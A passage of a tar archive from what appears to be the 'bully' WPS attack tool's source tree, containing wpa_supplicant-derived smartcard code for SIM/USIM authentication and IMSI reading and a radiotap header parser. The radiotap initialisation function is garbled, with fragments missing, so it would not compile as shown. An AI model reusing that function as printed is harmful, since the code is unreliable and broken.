scard->sim_type, aid, aid_len)) { wpa_printf(MSG_INFO, "SCARD: Failed to read 3G USIM " "app"); wpa_hexdump(MSG_INFO, "SCARD: 3G USIM AID", aid, aid_len); goto failed; } } /* Verify whether CHV1 (PIN1) is needed to access the card. */ pin_needed = scard_pin_needed(scard, buf, blen); if (pin_needed < 0) { wpa_printf(MSG_DEBUG, "SCARD: Failed to determine whether PIN " "is needed"); goto failed; } if (pin_needed) { scard->pin1_required = 1; wpa_printf(MSG_DEBUG, "PIN1 needed for SIM access"); } ret = SCardEndTransaction(scard->card, SCARD_LEAVE_CARD); if (ret != SCARD_S_SUCCESS) { wpa_printf(MSG_DEBUG, "SCARD: Could not end transaction: " "0x%x", (unsigned int) ret); } return scard; failed: if (transaction) SCardEndTransaction(scard->card, SCARD_LEAVE_CARD); os_free(readers); scard_deinit(scard); return NULL; } /** * scard_set_pin - Set PIN (CHV1/PIN1) code for accessing SIM/USIM commands * @scard: Pointer to private data from scard_init() * @pin: PIN code as an ASCII string (e.g., "1234") * Returns: 0 on success, -1 on failure */ int scard_set_pin(struct scard_data *scard, const char *pin) { if (scard == NULL) return -1; /* Verify whether CHV1 (PIN1) is needed to access the card. */ if (scard->pin1_required) { if (pin == NULL) { wpa_printf(MSG_DEBUG, "No PIN configured for SIM " "access"); return -1; } if (scard_verify_pin(scard, pin)) { wpa_printf(MSG_INFO, "PIN verification failed for " "SIM access"); return -1; } } return 0; } /** * scard_deinit - Deinitialize SIM/USIM connection * @scard: Pointer to private data from scard_init() * * This function closes the SIM/USIM connect opened with scard_init(). */ void scard_deinit(struct scard_data *scard) { long ret; if (scard == NULL) return; wpa_printf(MSG_DEBUG, "SCARD: deinitializing smart card interface"); if (scard->card) { ret = SCardDisconnect(scard->card, SCARD_UNPOWER_CARD); if (ret != SCARD_S_SUCCESS) { wpa_printf(MSG_DEBUG, "SCARD: Failed to disconnect " "smart card (err=%ld)", ret); } } if (scard->ctx) { ret = SCardReleaseContext(scard->ctx); if (ret != SCARD_S_SUCCESS) { wpa_printf(MSG_DEBUG, "Failed to release smart card " "context (err=%ld)", ret); } } os_free(scard); mingw_unload_symbols(); } static long scard_transmit(struct scard_data *scard, unsigned char *_send, size_t send_len, unsigned char *_recv, size_t *recv_len) { long ret; unsigned long rlen; wpa_hexdump_key(MSG_DEBUG, "SCARD: scard_transmit: send", _send, send_len); rlen = *recv_len; ret = SCardTransmit(scard->card, scard->protocol == SCARD_PROTOCOL_T1 ? SCARD_PCI_T1 : SCARD_PCI_T0, _send, (unsigned long) send_len, NULL, _recv, &rlen); *recv_len = rlen; if (ret == SCARD_S_SUCCESS) { wpa_hexdump(MSG_DEBUG, "SCARD: scard_transmit: recv", _recv, rlen); } else { wpa_printf(MSG_WARNING, "SCARD: SCardTransmit failed " "(err=0x%lx)", ret); } return ret; } static int _scard_select_file(struct scard_data *scard, unsigned short file_id, unsigned char *buf, size_t *buf_len, sim_types sim_type, unsigned char *aid, size_t aidlen) { long ret; unsigned char resp[3]; unsigned char cmd[50] = { SIM_CMD_SELECT }; int cmdlen; unsigned char get_resp[5] = { SIM_CMD_GET_RESPONSE }; size_t len, rlen; if (sim_type == SCARD_USIM) { cmd[0] = USIM_CLA; cmd[3] = 0x04; get_resp[0] = USIM_CLA; } wpa_printf(MSG_DEBUG, "SCARD: select file %04x", file_id); if (aid) { wpa_hexdump(MSG_DEBUG, "SCARD: select file by AID", aid, aidlen); if (5 + aidlen > sizeof(cmd)) return -1; cmd[2] = 0x04; /* Select by AID */ cmd[4] = aidlen; /* len */ os_memcpy(cmd + 5, aid, aidlen); cmdlen = 5 + aidlen; } else { cmd[5] = file_id >> 8; cmd[6] = file_id & 0xff; cmdlen = 7; } len = sizeof(resp); ret = scard_transmit(scard, cmd, cmdlen, resp, &len); if (ret != SCARD_S_SUCCESS) { wpa_printf(MSG_WARNING, "SCARD: SCardTransmit failed " "(err=0x%lx)", ret); return -1; } if (len != 2) { wpa_printf(MSG_WARNING, "SCARD: unexpected resp len " "%d (expected 2)", (int) len); return -1; } if (resp[0] == 0x98 && resp[1] == 0x04) { /* Security status not satisfied (PIN_WLAN) */ wpa_printf(MSG_WARNING, "SCARD: Security status not satisfied " "(PIN_WLAN)"); return -1; } if (resp[0] == 0x6e) { wpa_printf(MSG_DEBUG, "SCARD: used CLA not supported"); return -1; } if (resp[0] != 0x6c && resp[0] != 0x9f && resp[0] != 0x61) { wpa_printf(MSG_WARNING, "SCARD: unexpected response 0x%02x " "(expected 0x61, 0x6c, or 0x9f)", resp[0]); return -1; } /* Normal ending of command; resp[1] bytes available */ get_resp[4] = resp[1]; wpa_printf(MSG_DEBUG, "SCARD: trying to get response (%d bytes)", resp[1]); rlen = *buf_len; ret = scard_transmit(scard, get_resp, sizeof(get_resp), buf, &rlen); if (ret == SCARD_S_SUCCESS) { *buf_len = resp[1] < rlen ? resp[1] : rlen; return 0; } wpa_printf(MSG_WARNING, "SCARD: SCardTransmit err=0x%lx\n", ret); return -1; } static int scard_select_file(struct scard_data *scard, unsigned short file_id, unsigned char *buf, size_t *buf_len) { return _scard_select_file(scard, file_id, buf, buf_len, scard->sim_type, NULL, 0); } static int scard_get_record_len(struct scard_data *scard, unsigned char recnum, unsigned char mode) { unsigned char buf[255]; unsigned char cmd[5] = { SIM_CMD_READ_RECORD /* , len */ }; size_t blen; long ret; if (scard->sim_type == SCARD_USIM) cmd[0] = USIM_CLA; cmd[2] = recnum; cmd[3] = mode; cmd[4] = sizeof(buf); blen = sizeof(buf); ret = scard_transmit(scard, cmd, sizeof(cmd), buf, &blen); if (ret != SCARD_S_SUCCESS) { wpa_printf(MSG_DEBUG, "SCARD: failed to determine file " "length for record %d", recnum); return -1; } wpa_hexdump(MSG_DEBUG, "SCARD: file length determination response", buf, blen); if (blen < 2 || buf[0] != 0x6c) { wpa_printf(MSG_DEBUG, "SCARD: unexpected response to file " "length determination"); return -1; } return buf[1]; } static int scard_read_record(struct scard_data *scard, unsigned char *data, size_t len, unsigned char recnum, unsigned char mode) { unsigned char cmd[5] = { SIM_CMD_READ_RECORD /* , len */ }; size_t blen = len + 3; unsigned char *buf; long ret; if (scard->sim_type == SCARD_USIM) cmd[0] = USIM_CLA; cmd[2] = recnum; cmd[3] = mode; cmd[4] = len; buf = os_malloc(blen); if (buf == NULL) return -1; ret = scard_transmit(scard, cmd, sizeof(cmd), buf, &blen); if (ret != SCARD_S_SUCCESS) { os_free(buf); return -2; } if (blen != len + 2) { wpa_printf(MSG_DEBUG, "SCARD: record read returned unexpected " "length %ld (expected %ld)", (long) blen, (long) len + 2); os_free(buf); return -3; } if (buf[len] != 0x90 || buf[len + 1] != 0x00) { wpa_printf(MSG_DEBUG, "SCARD: record read returned unexpected " "status %02x %02x (expected 90 00)", buf[len], buf[len + 1]); os_free(buf); return -4; } os_memcpy(data, buf, len); os_free(buf); return 0; } static int scard_read_file(struct scard_data *scard, unsigned char *data, size_t len) { unsigned char cmd[5] = { SIM_CMD_READ_BIN /* , len */ }; size_t blen = len + 3; unsigned char *buf; long ret; cmd[4] = len; buf = os_malloc(blen); if (buf == NULL) return -1; if (scard->sim_type == SCARD_USIM) cmd[0] = USIM_CLA; ret = scard_transmit(scard, cmd, sizeof(cmd), buf, &blen); if (ret != SCARD_S_SUCCESS) { os_free(buf); return -2; } if (blen != len + 2) { wpa_printf(MSG_DEBUG, "SCARD: file read returned unexpected " "length %ld (expected %ld)", (long) blen, (long) len + 2); os_free(buf); return -3; } if (buf[len] != 0x90 || buf[len + 1] != 0x00) { wpa_printf(MSG_DEBUG, "SCARD: file read returned unexpected " "status %02x %02x (expected 90 00)", buf[len], buf[len + 1]); os_free(buf); return -4; } os_memcpy(data, buf, len); os_free(buf); return 0; } static int scard_verify_pin(struct scard_data *scard, const char *pin) { long ret; unsigned char resp[3]; unsigned char cmd[5 + 8] = { SIM_CMD_VERIFY_CHV1 }; size_t len; wpa_printf(MSG_DEBUG, "SCARD: verifying PIN"); if (pin == NULL || os_strlen(pin) > 8) return -1; if (scard->sim_type == SCARD_USIM) cmd[0] = USIM_CLA; os_memcpy(cmd + 5, pin, os_strlen(pin)); os_memset(cmd + 5 + os_strlen(pin), 0xff, 8 - os_strlen(pin)); len = sizeof(resp); ret = scard_transmit(scard, cmd, sizeof(cmd), resp, &len); if (ret != SCARD_S_SUCCESS) return -2; if (len != 2 || resp[0] != 0x90 || resp[1] != 0x00) { wpa_printf(MSG_WARNING, "SCARD: PIN verification failed"); return -1; } wpa_printf(MSG_DEBUG, "SCARD: PIN verified successfully"); return 0; } /** * scard_get_imsi - Read IMSI from SIM/USIM card * @scard: Pointer to private data from scard_init() * @imsi: Buffer for IMSI * @len: Length of imsi buffer; set to IMSI length on success * Returns: 0 on success, -1 if IMSI file cannot be selected, -2 if IMSI file * selection returns invalid result code, -3 if parsing FSP template file fails * (USIM only), -4 if IMSI does not fit in the provided imsi buffer (len is set * to needed length), -5 if reading IMSI file fails. * * This function can be used to read IMSI from the SIM/USIM card. If the IMSI * file is PIN protected, scard_set_pin() must have been used to set the * correct PIN code before calling scard_get_imsi(). */ int scard_get_imsi(struct scard_data *scard, char *imsi, size_t *len) { unsigned char buf[100]; size_t blen, imsilen, i; char *pos; wpa_printf(MSG_DEBUG, "SCARD: reading IMSI from (GSM) EF-IMSI"); blen = sizeof(buf); if (scard_select_file(scard, SCARD_FILE_GSM_EF_IMSI, buf, &blen)) return -1; if (blen < 4) { wpa_printf(MSG_WARNING, "SCARD: too short (GSM) EF-IMSI " "header (len=%ld)", (long) blen); return -2; } if (scard->sim_type == SCARD_GSM_SIM) { blen = (buf[2] << 8) | buf[3]; } else { int file_size; if (scard_parse_fsp_templ(buf, blen, NULL, &file_size)) return -3; blen = file_size; } if (blen < 2 || blen > sizeof(buf)) { wpa_printf(MSG_DEBUG, "SCARD: invalid IMSI file length=%ld", (long) blen); return -3; } imsilen = (blen - 2) * 2 + 1; wpa_printf(MSG_DEBUG, "SCARD: IMSI file length=%ld imsilen=%ld", (long) blen, (long) imsilen); if (blen < 2 || imsilen > *len) { *len = imsilen; return -4; } if (scard_read_file(scard, buf, blen)) return -5; pos = imsi; *pos++ = '0' + (buf[1] >> 4 & 0x0f); for (i = 2; i < blen; i++) { unsigned char digit; digit = buf[i] & 0x0f; if (digit < 10) *pos++ = '0' + digit; else imsilen--; digit = buf[i] >> 4 & 0x0f; if (digit < 10) *pos++ = '0' + digit; else imsilen--; } *len = imsilen; return 0; } /** * scard_gsm_auth - Run GSM authentication command on SIM card * @scard: Pointer to private data from scard_init() * @_rand: 16-byte RAND value from HLR/AuC * @sres: 4-byte buffer for SRES * @kc: 8-byte buffer for Kc * Returns: 0 on success, -1 if SIM/USIM connection has not been initialized, * -2 if authentication command execution fails, -3 if unknown response code * for authentication command is received, -4 if reading of response fails, * -5 if if response data is of unexpected length * * This function performs GSM authentication using SIM/USIM card and the * provided RAND value from HLR/AuC. If authentication command can be completed * successfully, SRES and Kc values will be written into sres and kc buffers. */ int scard_gsm_auth(struct scard_data *scard, const unsigned char *_rand, unsigned char *sres, unsigned char *kc) { unsigned char cmd[5 + 1 + 16] = { SIM_CMD_RUN_GSM_ALG }; int cmdlen; unsigned char get_resp[5] = { SIM_CMD_GET_RESPONSE }; unsigned char resp[3], buf[12 + 3 + 2]; size_t len; long ret; if (scard == NULL) return -1; wpa_hexdump(MSG_DEBUG, "SCARD: GSM auth - RAND", _rand, 16); if (scard->sim_type == SCARD_GSM_SIM) { cmdlen = 5 + 16; os_memcpy(cmd + 5, _rand, 16); } else { cmdlen = 5 + 1 + 16; cmd[0] = USIM_CLA; cmd[3] = 0x80; cmd[4] = 17; cmd[5] = 16; os_memcpy(cmd + 6, _rand, 16); } len = sizeof(resp); ret = scard_transmit(scard, cmd, cmdlen, resp, &len); if (ret != SCARD_S_SUCCESS) return -2; if ((scard->sim_type == SCARD_GSM_SIM && (len != 2 || resp[0] != 0x9f || resp[1] != 0x0c)) || (scard->sim_type == SCARD_USIM && (len != 2 || resp[0] != 0x61 || resp[1] != 0x0e))) { wpa_printf(MSG_WARNING, "SCARD: unexpected response for GSM " "auth request (len=%ld resp=%02x %02x)", (long) len, resp[0], resp[1]); return -3; } get_resp[4] = resp[1]; len = sizeof(buf); ret = scard_transmit(scard, get_resp, sizeof(get_resp), buf, &len); if (ret != SCARD_S_SUCCESS) return -4; if (scard->sim_type == SCARD_GSM_SIM) { if (len != 4 + 8 + 2) { wpa_printf(MSG_WARNING, "SCARD: unexpected data " "length for GSM auth (len=%ld, expected 14)", (long) len); return -5; } os_memcpy(sres, buf, 4); os_memcpy(kc, buf + 4, 8); } else { if (len != 1 + 4 + 1 + 8 + 2) { wpa_printf(MSG_WARNING, "SCARD: unexpected data " "length for USIM auth (len=%ld, " "expected 16)", (long) len); return -5; } if (buf[0] != 4 || buf[5] != 8) { wpa_printf(MSG_WARNING, "SCARD: unexpected SREC/Kc " "length (%d %d, expected 4 8)", buf[0], buf[5]); } os_memcpy(sres, buf + 1, 4); os_memcpy(kc, buf + 6, 8); } wpa_hexdump(MSG_DEBUG, "SCARD: GSM auth - SRES", sres, 4); wpa_hexdump(MSG_DEBUG, "SCARD: GSM auth - Kc", kc, 8); return 0; } /** * scard_umts_auth - Run UMTS authentication command on USIM card * @scard: Pointer to private data from scard_init() * @_rand: 16-byte RAND value from HLR/AuC * @autn: 16-byte AUTN value from HLR/AuC * @res: 16-byte buffer for RES * @res_len: Variable that will be set to RES length * @ik: 16-byte buffer for IK * @ck: 16-byte buffer for CK * @auts: 14-byte buffer for AUTS * Returns: 0 on success, -1 on failure, or -2 if USIM reports synchronization * failure * * This function performs AKA authentication using USIM card and the provided * RAND and AUTN values from HLR/AuC. If authentication command can be * completed successfully, RES, IK, and CK values will be written into provided * buffers and res_len is set to length of received RES value. If USIM reports * synchronization failure, the received AUTS value will be written into auts * buffer. In this case, RES, IK, and CK are not valid. */ int scard_umts_auth(struct scard_data *scard, const unsigned char *_rand, const unsigned char *autn, unsigned char *res, size_t *res_len, unsigned char *ik, unsigned char *ck, unsigned char *auts) { unsigned char cmd[5 + 1 + AKA_RAND_LEN + 1 + AKA_AUTN_LEN] = { USIM_CMD_RUN_UMTS_ALG }; unsigned char get_resp[5] = { USIM_CMD_GET_RESPONSE }; unsigned char resp[3], buf[64], *pos, *end; size_t len; long ret; if (scard == NULL) return -1; if (scard->sim_type == SCARD_GSM_SIM) { wpa_printf(MSG_ERROR, "SCARD: Non-USIM card - cannot do UMTS " "auth"); return -1; } wpa_hexdump(MSG_DEBUG, "SCARD: UMTS auth - RAND", _rand, AKA_RAND_LEN); wpa_hexdump(MSG_DEBUG, "SCARD: UMTS auth - AUTN", autn, AKA_AUTN_LEN); cmd[5] = AKA_RAND_LEN; os_memcpy(cmd + 6, _rand, AKA_RAND_LEN); cmd[6 + AKA_RAND_LEN] = AKA_AUTN_LEN; os_memcpy(cmd + 6 + AKA_RAND_LEN + 1, autn, AKA_AUTN_LEN); len = sizeof(resp); ret = scard_transmit(scard, cmd, sizeof(cmd), resp, &len); if (ret != SCARD_S_SUCCESS) return -1; if (len <= sizeof(resp)) wpa_hexdump(MSG_DEBUG, "SCARD: UMTS alg response", resp, len); if (len == 2 && resp[0] == 0x98 && resp[1] == 0x62) { wpa_printf(MSG_WARNING, "SCARD: UMTS auth failed - " "MAC != XMAC"); return -1; } else if (len != 2 || resp[0] != 0x61) { wpa_printf(MSG_WARNING, "SCARD: unexpected response for UMTS " "auth request (len=%ld resp=%02x %02x)", (long) len, resp[0], resp[1]); return -1; } get_resp[4] = resp[1]; len = sizeof(buf); ret = scard_transmit(scard, get_resp, sizeof(get_resp), buf, &len); if (ret != SCARD_S_SUCCESS || len > sizeof(buf)) return -1; wpa_hexdump(MSG_DEBUG, "SCARD: UMTS get response result", buf, len); if (len >= 2 + AKA_AUTS_LEN && buf[0] == 0xdc && buf[1] == AKA_AUTS_LEN) { wpa_printf(MSG_DEBUG, "SCARD: UMTS Synchronization-Failure"); os_memcpy(auts, buf + 2, AKA_AUTS_LEN); wpa_hexdump(MSG_DEBUG, "SCARD: AUTS", auts, AKA_AUTS_LEN); return -2; } else if (len >= 6 + IK_LEN + CK_LEN && buf[0] == 0xdb) { pos = buf + 1; end = buf + len; /* RES */ if (pos[0] > RES_MAX_LEN || pos + pos[0] > end) { wpa_printf(MSG_DEBUG, "SCARD: Invalid RES"); return -1; } *res_len = *pos++; os_memcpy(res, pos, *res_len); pos += *res_len; wpa_hexdump(MSG_DEBUG, "SCARD: RES", res, *res_len); /* CK */ if (pos[0] != CK_LEN || pos + CK_LEN > end) { wpa_printf(MSG_DEBUG, "SCARD: Invalid CK"); return -1; } pos++; os_memcpy(ck, pos, CK_LEN); pos += CK_LEN; wpa_hexdump(MSG_DEBUG, "SCARD: CK", ck, CK_LEN); /* IK */ if (pos[0] != IK_LEN || pos + IK_LEN > end) { wpa_printf(MSG_DEBUG, "SCARD: Invalid IK"); return -1; } pos++; os_memcpy(ik, pos, IK_LEN); pos += IK_LEN; wpa_hexdump(MSG_DEBUG, "SCARD: IK", ik, IK_LEN); return 0; } wpa_printf(MSG_DEBUG, "SCARD: Unrecognized response"); return -1; } bully-1.4-00/src/utils/pcsc_funcs.h000077500000000000000000000037021361530463600171640ustar00rootroot00000000000000/* * WPA Supplicant / PC/SC smartcard interface for USIM, GSM SIM * Copyright (c) 2004-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef PCSC_FUNCS_H #define PCSC_FUNCS_H /* GSM files * File type in first octet: * 3F = Master File * 7F = Dedicated File * 2F = Elementary File under the Master File * 6F = Elementary File under a Dedicated File */ #define SCARD_FILE_MF 0x3F00 #define SCARD_FILE_GSM_DF 0x7F20 #define SCARD_FILE_UMTS_DF 0x7F50 #define SCARD_FILE_GSM_EF_IMSI 0x6F07 #define SCARD_FILE_EF_DIR 0x2F00 #define SCARD_FILE_EF_ICCID 0x2FE2 #define SCARD_FILE_EF_CK 0x6FE1 #define SCARD_FILE_EF_IK 0x6FE2 #define SCARD_CHV1_OFFSET 13 #define SCARD_CHV1_FLAG 0x80 typedef enum { SCARD_GSM_SIM_ONLY, SCARD_USIM_ONLY, SCARD_TRY_BOTH } scard_sim_type; #ifdef PCSC_FUNCS struct scard_data * scard_init(scard_sim_type sim_type); void scard_deinit(struct scard_data *scard); int scard_set_pin(struct scard_data *scard, const char *pin); int scard_get_imsi(struct scard_data *scard, char *imsi, size_t *len); int scard_gsm_auth(struct scard_data *scard, const unsigned char *_rand, unsigned char *sres, unsigned char *kc); int scard_umts_auth(struct scard_data *scard, const unsigned char *_rand, const unsigned char *autn, unsigned char *res, size_t *res_len, unsigned char *ik, unsigned char *ck, unsigned char *auts); #else /* PCSC_FUNCS */ #define scard_init(s) NULL #define scard_deinit(s) do { } while (0) #define scard_set_pin(s, p) -1 #define scard_get_imsi(s, i, l) -1 #define scard_gsm_auth(s, r, s2, k) -1 #define scard_umts_auth(s, r, a, r2, rl, i, c, a2) -1 #endif /* PCSC_FUNCS */ #endif /* PCSC_FUNCS_H */ bully-1.4-00/src/utils/radiotap.c000077500000000000000000000222721361530463600166370ustar00rootroot00000000000000/* * Radiotap parser * * Copyright 2007 Andy Green * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * * Modified for userspace by Johannes Berg * I only modified some things on top to ease syncing should bugs be found. */ #include "includes.h" #include "common.h" #include "radiotap_iter.h" #define le16_to_cpu le_to_host16 #define le32_to_cpu le_to_host32 #define __le32 uint32_t #define ulong unsigned long #define unlikely(cond) (cond) #define get_unaligned(p) \ ({ \ struct packed_dummy_struct { \ typeof(*(p)) __val; \ } __attribute__((packed)) *__ptr = (void *) (p); \ \ __ptr->__val; \ }) /* function prototypes and related defs are in radiotap_iter.h */ /** * ieee80211_radiotap_iterator_init - radiotap parser iterator initialization * @iterator: radiotap_iterator to initialize * @radiotap_header: radiotap header to parse * @max_length: total length we can parse into (eg, whole packet length) * * Returns: 0 or a negative error code if there is a problem. * * This function initializes an opaque iterator struct which can then * be passed to ieee80211_radiotap_iterator_next() to visit every radiotap * argument which is present in the header. It knows about extended * present headers and handles them. * * How to use: * call __ieee80211_radiotap_iterator_init() to init a semi-opaque iterator * struct ieee80211_radiotap_iterator (no need to init the struct beforehand) * checking for a good 0 return code. Then loop calling * __ieee80211_radiotap_iterator_next()... it returns either 0, * -ENOENT if there are no more args to parse, or -EINVAL if there is a problem. * The iterator's @this_arg member points to the start of the argument * associated with the current argument index that is present, which can be * found in the iterator's @this_arg_index member. This arg index corresponds * to the IEEE80211_RADIOTAP_... defines. * * Radiotap header length: * You can find the CPU-endian total radiotap header length in * iterator->max_length after executing ieee80211_radiotap_iterator_init() * successfully. * * Alignment Gotcha: * You must take care when dereferencing iterator.this_arg * for multibyte types... the pointer is not aligned. Use * get_unaligned((type *)iterator.this_arg) to dereference * iterator.this_arg for type "type" safely on all arches. * * Example code: * See Documentation/networking/radiotap-headers.txt */ int ieee80211_radiotap_iterator_init( struct ieee80211_radiotap_iterator *iterator, struct ieee80211_radiotap_header *radiotap_header, int max_length) { /* Linux only supports version 0 radiotap format */ if (radiotap_header->it_version) return -EINVAL; /* sanity check for allowed length and radiotap length field */ if (max_length < le16_to_cpu(get_unaligned(&radiotap_header->it_len))) return -EINVAL; iterator->rtheader = radiotap_header; iterator->max_length = le16_to_cpu(get_unaligned( &radiotap_header->it_len)); iterator->arg_index = 0; iterator->bitmap_shifter = le32_to_cpu(get_unaligned( &radiotap_header->it_present)); iterator->arg = (u8 *)radiotap_header + sizeof(*radiotap_header); iterator->this_arg = NULL; /* find payload start allowing for extended bitmap(s) */ if (unlikely(iterator->bitmap_shifter & (1<arg)) & (1<arg += sizeof(u32); /* * check for insanity where the present bitmaps * keep claiming to extend up to or even beyond the * stated radiotap header length */ if (((ulong)iterator->arg - (ulong)iterator->rtheader) > (ulong)iterator->max_length) return -EINVAL; } iterator->arg += sizeof(u32); /* * no need to check again for blowing past stated radiotap * header length, because ieee80211_radiotap_iterator_next * checks it before it is dereferenced */ } /* we are all initialized happily */ return 0; } /** * ieee80211_radiotap_iterator_next - return next radiotap parser iterator arg * @iterator: radiotap_iterator to move to next arg (if any) * * Returns: 0 if there is an argument to handle, * -ENOENT if there are no more args or -EINVAL * if there is something else wrong. * * This function provides the next radiotap arg index (IEEE80211_RADIOTAP_*) * in @this_arg_index and sets @this_arg to point to the * payload for the field. It takes care of alignment handling and extended * present fields. @this_arg can be changed by the caller (eg, * incremented to move inside a compound argument like * IEEE80211_RADIOTAP_CHANNEL). The args pointed to are in * little-endian format whatever the endianess of your CPU. * * Alignment Gotcha: * You must take care when dereferencing iterator.this_arg * for multibyte types... the pointer is not aligned. Use * get_unaligned((type *)iterator.this_arg) to dereference * iterator.this_arg for type "type" safely on all arches. */ int ieee80211_radiotap_iterator_next( struct ieee80211_radiotap_iterator *iterator) { /* * small length lookup table for all radiotap types we heard of * starting from b0 in the bitmap, so we can walk the payload * area of the radiotap header * * There is a requirement to pad args, so that args * of a given length must begin at a boundary of that length * -- but note that compound args are allowed (eg, 2 x u16 * for IEEE80211_RADIOTAP_CHANNEL) so total arg length is not * a reliable indicator of alignment requirement. * * upper nybble: content alignment for arg * lower nybble: content length for arg */ static const u8 rt_sizes[] = { [IEEE80211_RADIOTAP_TSFT] = 0x88, [IEEE80211_RADIOTAP_FLAGS] = 0x11, [IEEE80211_RADIOTAP_RATE] = 0x11, [IEEE80211_RADIOTAP_CHANNEL] = 0x24, [IEEE80211_RADIOTAP_FHSS] = 0x22, [IEEE80211_RADIOTAP_DBM_ANTSIGNAL] = 0x11, [IEEE80211_RADIOTAP_DBM_ANTNOISE] = 0x11, [IEEE80211_RADIOTAP_LOCK_QUALITY] = 0x22, [IEEE80211_RADIOTAP_TX_ATTENUATION] = 0x22, [IEEE80211_RADIOTAP_DB_TX_ATTENUATION] = 0x22, [IEEE80211_RADIOTAP_DBM_TX_POWER] = 0x11, [IEEE80211_RADIOTAP_ANTENNA] = 0x11, [IEEE80211_RADIOTAP_DB_ANTSIGNAL] = 0x11, [IEEE80211_RADIOTAP_DB_ANTNOISE] = 0x11, [IEEE80211_RADIOTAP_RX_FLAGS] = 0x22, [IEEE80211_RADIOTAP_TX_FLAGS] = 0x22, [IEEE80211_RADIOTAP_RTS_RETRIES] = 0x11, [IEEE80211_RADIOTAP_DATA_RETRIES] = 0x11, /* * add more here as they are defined in * include/net/ieee80211_radiotap.h */ }; /* * for every radiotap entry we can at * least skip (by knowing the length)... */ while (iterator->arg_index < (int) sizeof(rt_sizes)) { int hit = 0; int pad; if (!(iterator->bitmap_shifter & 1)) goto next_entry; /* arg not present */ /* * arg is present, account for alignment padding * 8-bit args can be at any alignment * 16-bit args must start on 16-bit boundary * 32-bit args must start on 32-bit boundary * 64-bit args must start on 64-bit boundary * * note that total arg size can differ from alignment of * elements inside arg, so we use upper nybble of length * table to base alignment on * * also note: these alignments are ** relative to the * start of the radiotap header **. There is no guarantee * that the radiotap header itself is aligned on any * kind of boundary. * * the above is why get_unaligned() is used to dereference * multibyte elements from the radiotap area */ pad = (((ulong)iterator->arg) - ((ulong)iterator->rtheader)) & ((rt_sizes[iterator->arg_index] >> 4) - 1); if (pad) iterator->arg += (rt_sizes[iterator->arg_index] >> 4) - pad; /* * this is what we will return to user, but we need to * move on first so next call has something fresh to test */ iterator->this_arg_index = iterator->arg_index; iterator->this_arg = iterator->arg; hit = 1; /* internally move on the size of this arg */ iterator->arg += rt_sizes[iterator->arg_index] & 0x0f; /* * check for insanity where we are given a bitmap that * claims to have more arg content than the length of the * radiotap section. We will normally end up equalling this * max_length on the last arg, never exceeding it. */ if (((ulong)iterator->arg - (ulong)iterator->rtheader) > (ulong) iterator->max_length) return -EINVAL; next_entry: iterator->arg_index++; if (unlikely((iterator->arg_index & 31) == 0)) { /* completed current u32 bitmap */ if (iterator->bitmap_shifter & 1) { /* b31 was set, there is more */ /* move to next u32 bitmap */ iterator->bitmap_shifter = le32_to_cpu( get_unaligned(iterator->next_bitmap)); iterator->next_bitmap++; } else /* no more bitmaps: end */ iterator->arg_index = sizeof(rt_sizes); } else /* just try the next bit */ iterator->bitmap_shifter >>= 1; /* if we found a valid arg earlier, return it now */ if (hit) return 0; } /* we don't know how to handle any more args, we're done */ return -ENOENT; } bully-1.4-00/src/utils/radiotap.h000077500000000000000000000216501361530463600166430ustar00rootroot00000000000000/* $FreeBSD: src/sys/net80211/ieee80211_radiotap.h,v 1.5 2005/01/22 20:12:05 sam Exp $ */ /* $NetBSD: ieee80211_radiotap.h,v 1.11 2005/06/22 06:16:02 dyoung Exp $ */ /*- * Copyright (c) 2003, 2004 David Young. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of David Young may not be used to endorse or promote * products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY DAVID YOUNG ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL DAVID * YOUNG BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY * OF SUCH DAMAGE. */ /* * Modifications to fit into the linux IEEE 802.11 stack, * Mike Kershaw (dragorn@kismetwireless.net) */ #ifndef IEEE80211RADIOTAP_H #define IEEE80211RADIOTAP_H #include /* Base version of the radiotap packet header data */ #define PKTHDR_RADIOTAP_VERSION 0 /* A generic radio capture format is desirable. There is one for * Linux, but it is neither rigidly defined (there were not even * units given for some fields) nor easily extensible. * * I suggest the following extensible radio capture format. It is * based on a bitmap indicating which fields are present. * * I am trying to describe precisely what the application programmer * should expect in the following, and for that reason I tell the * units and origin of each measurement (where it applies), or else I * use sufficiently weaselly language ("is a monotonically nondecreasing * function of...") that I cannot set false expectations for lawyerly * readers. */ /* The radio capture header precedes the 802.11 header. * All data in the header is little endian on all platforms. */ struct ieee80211_radiotap_header { uint8_t it_version; /* Version 0. Only increases * for drastic changes, * introduction of compatible * new fields does not count. */ uint8_t it_pad; uint16_t it_len; /* length of the whole * header in bytes, including * it_version, it_pad, * it_len, and data fields. */ uint32_t it_present; /* A bitmap telling which * fields are present. Set bit 31 * (0x80000000) to extend the * bitmap by another 32 bits. * Additional extensions are made * by setting bit 31. */ }; /* Name Data type Units * ---- --------- ----- * * IEEE80211_RADIOTAP_TSFT __le64 microseconds * * Value in microseconds of the MAC's 64-bit 802.11 Time * Synchronization Function timer when the first bit of the * MPDU arrived at the MAC. For received frames, only. * * IEEE80211_RADIOTAP_CHANNEL 2 x 